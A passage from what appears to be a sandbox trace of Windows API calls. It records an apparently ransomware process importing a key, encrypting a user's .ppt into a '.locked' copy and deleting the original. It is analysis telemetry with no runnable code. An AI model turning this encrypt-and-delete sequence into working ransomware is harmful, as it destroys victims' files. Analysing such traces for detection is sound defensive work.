dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43969b0) returned 1 [0131.947] CryptImportKey (in: hProv=0x43969b0, pbData=0x6b50cfc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84db8) returned 1 [0131.947] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.947] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.947] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.947] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.947] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.948] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0131.948] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0131.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.948] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.948] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.948] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.949] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.949] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.949] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.949] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0131.949] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0131.950] GetFileType (hFile=0x874) returned 0x1 [0131.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0131.950] GetFileType (hFile=0x874) returned 0x1 [0131.950] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0131.950] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.950] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.950] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.950] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", lpFilePart=0x0) returned 0x41 [0131.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0131.950] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0131.951] GetFileType (hFile=0x868) returned 0x1 [0131.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0131.951] GetFileType (hFile=0x868) returned 0x1 [0131.951] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.951] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x6b6804c | out: pbBuffer=0x6b6804c) returned 1 [0131.951] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.951] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e850f8) returned 1 [0131.951] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.951] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x4, pbData=0x6b69308*=0x1, dwFlags=0x0) returned 1 [0131.951] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x1, pbData=0x6b692d4, dwFlags=0x0) returned 1 [0131.951] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1f80\x438\x24a") returned 0x0 [0131.952] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.952] ReadFile (in: hFile=0x874, lpBuffer=0x6b6c864, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b6c864*, lpNumberOfBytesRead=0x99ae7a8*=0x47ab, lpOverlapped=0x0) returned 1 [0131.952] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b80870*, pdwDataLen=0x99ae79c*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x6b80870*, pdwDataLen=0x99ae79c*=0x47a0) returned 1 [0131.952] WriteFile (in: hFile=0x868, lpBuffer=0x6b6810c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b6810c*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0131.953] WriteFile (in: hFile=0x868, lpBuffer=0x6b8185c*, nNumberOfBytesToWrite=0x37b4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b8185c*, lpNumberOfBytesWritten=0x99ae780*=0x37b4, lpOverlapped=0x0) returned 1 [0131.954] ReadFile (in: hFile=0x874, lpBuffer=0x6b6c864, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b6c864*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0131.954] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b85034*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b85034*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0131.954] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b85068*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b85068*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0131.954] WriteFile (in: hFile=0x868, lpBuffer=0x6b6810c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6b6810c*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0131.954] CloseHandle (hObject=0x868) returned 1 [0131.955] CloseHandle (hObject=0x874) returned 1 [0131.955] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.955] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.956] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.956] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.956] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.957] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0131.957] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0131.958] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0131.958] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0131.958] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0131.958] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0131.958] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0131.958] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0131.958] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0131.958] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0132.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0132.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0132.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0132.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0132.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0132.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0132.007] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb")) returned 0x10 [0132.007] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb")) returned 0x10 [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0132.007] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.008] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0132.008] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.008] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt\\", lpFilePart=0x0) returned 0x3b [0132.008] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0132.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0132.008] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0132.008] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0132.008] CoTaskMemFree (pv=0x8eb8930) [0132.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 0x20 [0132.010] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.010] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0132.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt"), fInfoLevelId=0x0, lpFileInformation=0x6b99c88 | out: lpFileInformation=0x6b99c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc039d640, ftCreationTime.dwHighDateTime=0x1d4ac3f, ftLastAccessTime.dwLowDateTime=0x4ae1d560, ftLastAccessTime.dwHighDateTime=0x1d49f19, ftLastWriteTime.dwLowDateTime=0x4ae1d560, ftLastWriteTime.dwHighDateTime=0x1d49f19, nFileSizeHigh=0x0, nFileSizeLow=0x47ab)) returned 1 [0132.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0132.010] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt")) returned 1 [0132.053] EtwEventActivityIdControl (in: 